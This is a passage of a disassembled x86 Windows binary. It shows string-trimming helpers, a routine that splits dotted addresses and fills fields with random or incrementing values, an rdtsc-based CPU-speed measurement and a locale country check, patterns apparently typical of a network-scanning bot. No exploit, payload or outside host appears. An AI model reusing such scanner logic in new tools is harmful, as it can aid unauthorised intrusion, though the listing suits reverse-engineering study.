		jmp	loc_407B69
; ---------------------------------------------------------------------------

locret_407BF3:				; CODE XREF: sub_407B5E+25j
					; sub_407B5E+8Cj
		leave
		retn
sub_407B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BF5	proc near		; CODE XREF: sub_411A09+5Dp
					; sub_411A09+F3p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_407BF8:				; CODE XREF: sub_407BF5:loc_407C28j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_0]
		inc	ecx
		mov	[ebp+arg_0], ecx
		test	eax, eax
		jz	short loc_407C2A
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407C15
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C15:				; CODE XREF: sub_407BF5+1Cj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C28
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C28:				; CODE XREF: sub_407BF5+29j
		jmp	short loc_407BF8
; ---------------------------------------------------------------------------


loc_407C2A:				; CODE XREF: sub_407BF5+12j
					; sub_407BF5+1Ej ...
		pop	ebp
		retn
sub_407BF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C2C	proc near		; CODE XREF: sub_4083AD+2F2p
					; sub_40CA29+91p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_407C49
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_407C2C+31j
					; sub_407C2C:loc_407CCDj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407C49:				; CODE XREF: sub_407C2C+14j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C68
		cmp	[ebp+var_C], 0
		jz	short loc_407C5F
		jmp	short loc_407C42
; ---------------------------------------------------------------------------


loc_407C5F:				; CODE XREF: sub_407C2C+2Fj
		mov	[ebp+var_C], 1
		jmp	short loc_407C6C
; ---------------------------------------------------------------------------


loc_407C68:				; CODE XREF: sub_407C2C+29j
		and	[ebp+var_C], 0


loc_407C6C:				; CODE XREF: sub_407C2C+3Aj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407CCD
		cmp	[ebp+arg_8], 0
		jz	short loc_407CCB
		cmp	[ebp+var_8], 0
		jz	short loc_407CCB


loc_407C9C:				; CODE XREF: sub_407C2C:loc_407CC9j
		push	1
		pop	eax
		test	eax, eax
		jz	short loc_407CCB
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407CC7
		cmp	[ebp+var_8], 0
		jnz	short loc_407CC9


loc_407CC7:				; CODE XREF: sub_407C2C+93j
		jmp	short loc_407CCB
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_407C2C+99j
		jmp	short loc_407C9C
; ---------------------------------------------------------------------------


loc_407CCB:				; CODE XREF: sub_407C2C+68j
					; sub_407C2C+6Ej ...
		jmp	short locret_407CD2
; ---------------------------------------------------------------------------


loc_407CCD:				; CODE XREF: sub_407C2C+62j
		jmp	loc_407C42
; ---------------------------------------------------------------------------

locret_407CD2:				; CODE XREF: sub_407C2C:loc_407CCBj
		leave
		retn
sub_407C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CD4	proc near		; CODE XREF: sub_407D42+5Fp
					; sub_407D42+79p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407CE5
; ---------------------------------------------------------------------------


loc_407CDE:				; CODE XREF: sub_407CD4+68j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407CE5:				; CODE XREF: sub_407CD4+8j
		cmp	[ebp+var_4], 4
		jge	short loc_407D3E
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jnz	short loc_407D0E
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D0E:				; CODE XREF: sub_407CD4+23j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407D2C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D2C:				; CODE XREF: sub_407CD4+45j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_407CDE
; ---------------------------------------------------------------------------


loc_407D3E:				; CODE XREF: sub_407CD4+15j
		xor	eax, eax

locret_407D40:				; CODE XREF: sub_407CD4+38j
					; sub_407CD4+56j
		leave
		retn
sub_407CD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D42	proc near		; CODE XREF: sub_407F3D+19p
					; sub_407F3D+3Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	2Eh
		push	[ebp+arg_0]
		call	sub_4078E6
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 3
		jle	short loc_407D63
		xor	eax, eax
		jmp	locret_407E0A
; ---------------------------------------------------------------------------


loc_407D63:				; CODE XREF: sub_407D42+18j
		mov	eax, [ebp+arg_10]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_407DE9
		cmp	[ebp+var_8], 1
		jz	short loc_407DCF
		cmp	[ebp+var_8], 2
		jz	short loc_407DB5
		cmp	[ebp+var_8], 3
		jz	short loc_407D9B
		jmp	short loc_407E08
; ---------------------------------------------------------------------------


loc_407D9B:				; CODE XREF: sub_407D42+55j
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DB5
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DB5:				; CODE XREF: sub_407D42+4Fj
					; sub_407D42+6Dj
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DCF
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DCF:				; CODE XREF: sub_407D42+49j
					; sub_407D42+87j
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DE9
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DE9:				; CODE XREF: sub_407D42+43j
					; sub_407D42+A1j
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407E03
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E03:				; CODE XREF: sub_407D42+BBj
		push	1
		pop	eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E08:				; CODE XREF: sub_407D42+57j
		xor	eax, eax

locret_407E0A:				; CODE XREF: sub_407D42+1Cj
					; sub_407D42+71j ...
		leave
		retn
sub_407D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E0C	proc near		; CODE XREF: sub_407F3D+A3p
					; sub_407F3D+C1p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 72h
		jnz	short loc_407E4A
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_407E4A
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407E4A:				; CODE XREF: sub_407E0C+Dj
					; sub_407E0C+18j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 73h
		jz	short loc_407E64
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	loc_407EF9


loc_407E64:				; CODE XREF: sub_407E0C+47j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	loc_407EF9
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407EB3
		cmp	[ebp+arg_10], 0
		jz	short loc_407EB3
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		movzx	eax, al
		inc	eax
		mov	[ebp+var_4], al
		push	0Ah
		push	[ebp+arg_C]
		movzx	eax, [ebp+var_4]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407EB3:				; CODE XREF: sub_407E0C+6Fj
					; sub_407E0C+75j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407ECC
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407ECC:				; CODE XREF: sub_407E0C+AFj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	short loc_407EE8
		push	offset dword_418F50
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407EE8:				; CODE XREF: sub_407E0C+C9j
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_407EF5:				; CODE XREF: sub_407E0C+BEj
					; sub_407E0C+DAj
		xor	eax, eax
		jmp	short locret_407F3B
; ---------------------------------------------------------------------------


loc_407EF9:				; CODE XREF: sub_407E0C+52j
					; sub_407E0C+61j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F12
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F12:				; CODE XREF: sub_407E0C+F5j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F2B
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F2B:				; CODE XREF: sub_407E0C+10Ej
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_407F38:				; CODE XREF: sub_407E0C+104j
					; sub_407E0C+11Dj
		mov	eax, [ebp+arg_10]

locret_407F3B:				; CODE XREF: sub_407E0C+39j
					; sub_407E0C+A2j ...
		leave
		retn
sub_407E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F3D	proc near		; CODE XREF: sub_41349C+192p
					; sub_41349C+3DAp

var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F69
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F69:				; CODE XREF: sub_407F3D+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F8F
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F8F:				; CODE XREF: sub_407F3D+49j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_41F018
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407FB7
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FB7:				; CODE XREF: sub_407F3D+71j
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_407FC6
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FC6:				; CODE XREF: sub_407F3D+80j
		mov	[ebp+var_18], 1
		push	[ebp+var_18]
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_8]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_408068:				; CODE XREF: sub_407F3D+27j
					; sub_407F3D+4Dj ...
		leave
		retn
sub_407F3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40806A	proc near		; CODE XREF: sub_41349C+12Ap

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408096
		xor	eax, eax
		jmp	locret_40813A
; ---------------------------------------------------------------------------


loc_408096:				; CODE XREF: sub_40806A+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F018
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4080BB
		xor	eax, eax
		jmp	short locret_40813A
; ---------------------------------------------------------------------------


loc_4080BB:				; CODE XREF: sub_40806A+4Bj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_4080D2
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_4080D2:				; CODE XREF: sub_40806A+57j
		movsx	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_4080E9
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_4080E9:				; CODE XREF: sub_40806A+6Ej
		movsx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_408100
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_408100:				; CODE XREF: sub_40806A+85j
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_408117
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_408117:				; CODE XREF: sub_40806A+9Cj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_40813A:				; CODE XREF: sub_40806A+27j
					; sub_40806A+4Fj
		leave
		retn
sub_40806A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40813C	proc near		; CODE XREF: sub_407928+54p
					; sub_407928+9Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_408150
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx


loc_408150:				; CODE XREF: sub_40813C+Aj
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_408161
; ---------------------------------------------------------------------------


loc_40815A:				; CODE XREF: sub_40813C:loc_4081A0j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408161:				; CODE XREF: sub_40813C+1Cj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081A2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_408171:				; CODE XREF: sub_40813C+56j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_408171
; ---------------------------------------------------------------------------


loc_408194:				; CODE XREF: sub_40813C+3Dj
					; sub_40813C+4Dj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081A0
		jmp	short loc_4081A2
; ---------------------------------------------------------------------------


loc_4081A0:				; CODE XREF: sub_40813C+60j
		jmp	short loc_40815A
; ---------------------------------------------------------------------------


loc_4081A2:				; CODE XREF: sub_40813C+2Dj
					; sub_40813C+62j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_4081AE:				; CODE XREF: sub_40813C:loc_4081F5j
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081F7
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_4081D7
		mov	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_4081F7
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_40813C+8Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081F5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_4081F5:				; CODE XREF: sub_40813C+AAj
		jmp	short loc_4081AE
; ---------------------------------------------------------------------------


loc_4081F7:				; CODE XREF: sub_40813C+7Aj
					; sub_40813C+99j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_C]
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		leave
		retn
sub_40813C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820E	proc near		; CODE XREF: sub_40821B:loc_408221p
					; sub_40821B+1Cp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		rdtsc
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40820E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40821B	proc near		; CODE XREF: sub_4083AD+3A4p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h


loc_408221:				; CODE XREF: sub_40821B+4Aj
					; sub_40821B+55j
		call	sub_40820E
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], edx
		push	3E8h
		call	ds:dword_41709C	; Sleep
		call	sub_40820E
		sub	eax, [ebp+var_20]
		sbb	edx, [ebp+var_1C]
		push	0
		push	186A0h
		push	edx
		push	eax
		call	sub_416C90
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_416C90
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		ja	short loc_408221
		jb	short loc_408272
		cmp	[ebp+var_8], 0F4240h
		ja	short loc_408221


loc_408272:				; CODE XREF: sub_40821B+4Cj
		push	0
		push	64h
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416C10
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], 64h
		and	[ebp+var_C], 0
		cmp	[ebp+var_14], 0
		ja	short loc_4082AB
		jb	short loc_4082A0
		cmp	[ebp+var_18], 50h
		jnb	short loc_4082AB


loc_4082A0:				; CODE XREF: sub_40821B+7Dj
		mov	[ebp+var_10], 4Bh
		and	[ebp+var_C], 0


loc_4082AB:				; CODE XREF: sub_40821B+7Bj
					; sub_40821B+83j
		cmp	[ebp+var_14], 0
		ja	short loc_4082C4
		jb	short loc_4082B9
		cmp	[ebp+var_18], 47h
		jnb	short loc_4082C4


loc_4082B9:				; CODE XREF: sub_40821B+96j
		mov	[ebp+var_10], 42h
		and	[ebp+var_C], 0


loc_4082C4:				; CODE XREF: sub_40821B+94j
					; sub_40821B+9Cj
		cmp	[ebp+var_14], 0
		ja	short loc_4082DD
		jb	short loc_4082D2
		cmp	[ebp+var_18], 37h
		jnb	short loc_4082DD


loc_4082D2:				; CODE XREF: sub_40821B+AFj
		mov	[ebp+var_10], 32h
		and	[ebp+var_C], 0


loc_4082DD:				; CODE XREF: sub_40821B+ADj
					; sub_40821B+B5j
		cmp	[ebp+var_14], 0
		ja	short loc_4082F6
		jb	short loc_4082EB
		cmp	[ebp+var_18], 26h
		jnb	short loc_4082F6


loc_4082EB:				; CODE XREF: sub_40821B+C8j
		mov	[ebp+var_10], 21h
		and	[ebp+var_C], 0


loc_4082F6:				; CODE XREF: sub_40821B+C6j
					; sub_40821B+CEj
		cmp	[ebp+var_14], 0
		ja	short loc_40830F
		jb	short loc_408304
		cmp	[ebp+var_18], 1Eh
		jnb	short loc_40830F


loc_408304:				; CODE XREF: sub_40821B+E1j
		mov	[ebp+var_10], 19h
		and	[ebp+var_C], 0


loc_40830F:				; CODE XREF: sub_40821B+DFj
					; sub_40821B+E7j
		cmp	[ebp+var_14], 0
		ja	short loc_408325
		jb	short loc_40831D
		cmp	[ebp+var_18], 0Ah
		jnb	short loc_408325


loc_40831D:				; CODE XREF: sub_40821B+FAj
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408325:				; CODE XREF: sub_40821B+F8j
					; sub_40821B+100j
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		sbb	ecx, [ebp+var_14]
		add	eax, [ebp+var_10]
		adc	ecx, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40821B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408342	proc near		; CODE XREF: sub_40D043+156p
					; sub_40D871+30Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	400h
		call	ds:dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		cmp	[ebp+var_4], 0
		jz	short loc_408381
		push	offset off_419100
		push	[ebp+arg_0]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4083A8


loc_408381:				; CODE XREF: sub_408342+2Aj
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	800h
		call	ds:dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		mov	eax, [ebp+var_4]
		jmp	short locret_4083AB
; ---------------------------------------------------------------------------


loc_4083A8:				; CODE XREF: sub_408342+3Dj
		push	1
		pop	eax

locret_4083AB:				; CODE XREF: sub_408342+64j
		leave
		retn
sub_408342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


